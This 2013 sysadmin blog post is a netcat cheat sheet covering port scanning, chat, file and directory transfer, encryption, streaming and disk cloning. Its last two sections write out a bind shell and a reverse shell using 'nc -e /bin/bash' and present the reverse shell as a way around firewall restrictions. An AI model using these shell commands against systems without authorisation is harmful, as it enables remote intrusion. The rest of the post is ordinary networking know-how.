In just five minutes...

SHORT TECHNICAL ARTICLES ABOUT TROUBLESHOOTING IN SOFTWARE DEVELOPMENT AND SYSTEMS ADMINISTRATION

Netcat cheat sheet

Posted on **November 19, 2013**

Swiss Army Knife of networking netcat is a versatile tool that is able to read and write data across TCP and UDP network . Combined with other tools , you will be surprised to see what you can accomplish with Linux netcat command.

What netcat does it opens the connection between two machines and give back two streams. After that everything is up to your imagination. You can build a server, transfer files, chat with friends, stream media or use it as a standalone client for some other protocols. The key aspect to highlight is that the stream data interchanged between server and client is not altered or encoded at any time, in other words, no other control data is pushed on to the communication channel.

1.Port scanning

Port scanning is done by system admins and pentesters to find the open ports at some machine. It helps them to identify vulnerabilities in the system. The following example will print all the open ports between 21 to 25 on the target machine 192.168.1.1:

```
$ nc -z -v -n 192.168.1.1 21-25
```

z option tells netcat to use zero IO .i.e the connection is closed as soon as it opens and no actual data exchange take place.
v option is used for verbose option.
n option tells netcat not to use the DNS lookup for the address.

It can work in both TCP and UDP mode, default is TCP mode, to change to udp use **-u** option.

2. Chat client-server

Server IP 192.168.1.100

```
$ nc -l 4444
```

Client

```
$ nc 192.168.1.100 4444
```

After this whatever you type on machine B will appear on A and vice-versa.

3. File transfer (downloading)

Suppose you want to transfer a file “file.txt” from server A to client B.

Server

```
$ nc -l 4444 < file.txt
```

Client

```
$ nc -n 192.168.1.100 4444 > file.txt
```

4. File transfer (uploading)

Suppose you want to transfer a file “file.txt” from client B to server A:

Server

```
$ nc -l 4444 > file.txt
```

Client

```
$ nc 192.168.1.100 4444 < file.txt
```

5. Directory transfer

Sending one file is easy but what if we want to send more than one file, or a whole directory, its easy just use archive tool tar to archive the files first and then send this archive.

Suppose you want to transfer a directory over the network from A to B.

Server

```
$ tar -cvf – dir_name | nc -l 4444
```

Client

```
$ nc -n 192.168.1.100 4444 | tar -xvf -
```

6. Encrypt data before transfering over the network

If you are worried about the security of data being sent over the network you can encrypt your data before sending using openssl suite.

Server

```
$ nc -l 4444 | openssl enc -d -des3 -pass pass:password > file.txt
```

Client

```
$ openssl enc -des3 -pass pass:password | nc 192.168.1.100 4444
```

7. Video streaming

Server

```
$ cat video.avi | nc -l 4444
```

Client

```
$ nc 192.168.1.100 4444 | mplayer -vo x11 -cache 3000 -
```

8. Cloning a device

If you have just installed and configured a Linux machine and have to do the same to other machine too and do not want to do the configuration again. No need to repeat the process just boot the other machine with some boot-able pen drive and clone you machine.

Cloning a linux PC is very simple. Suppose your system disk is /dev/sda

Server

```
$ dd if=/dev/sda | nc -l 4444
```

Client

```
$ nc -n 192.168.1.100 4444 | dd of=/dev/sda
```

9. Remote shell

We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission to install them, then we can create remote shell using netcat also.

If your netcat support -c and -e option (traditional netcat). Since the -e switch is so powerful and can lead to security issues, modern netcat versions (openbsd based) don't support this feature.

Server

```
$ nc -l 4444 -e /bin/bash -i
```

Client

```
$ nc 192.168.1.100 4444
```

10. Reverse shell

Reverse shell are shell opened at the client side. Reverse shell are so named because unlike other configuration here server is using the services provided by the client. Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections

Server

```
$ nc -l 4444
```

Client

```
$ nc 192.168.1.100 4444 -e /bin/bash
```

COMPÁRTELO:

Twitter Facebook

★ Like

Be the first to like this.

RELATED

SSH Cheat Sheet
In "linux"

SSH connection timeouts
In "linux"

Alfresco Mobile: Change external alfresco url behind proxy
In "alfresco"

This entry was posted in **linux** by **Luis Miguel Rodríguez**. Bookmark the **permalink [https://injustfiveminutes.com/2013/11/19/netcat-cheat-sheet/]** .

3 THOUGHTS ON “NETCAT CHEAT SHEET”

Pingback: Ivan Pesin - Links: Jan 19th

ateelia
on **August 14, 2014 at 15:38** said:

Hi, I found this as a great article for me as a beginner in security & hacking (our own system)

Pingback: Netcat cheat sheet | Jacob Heckman, IT Administrator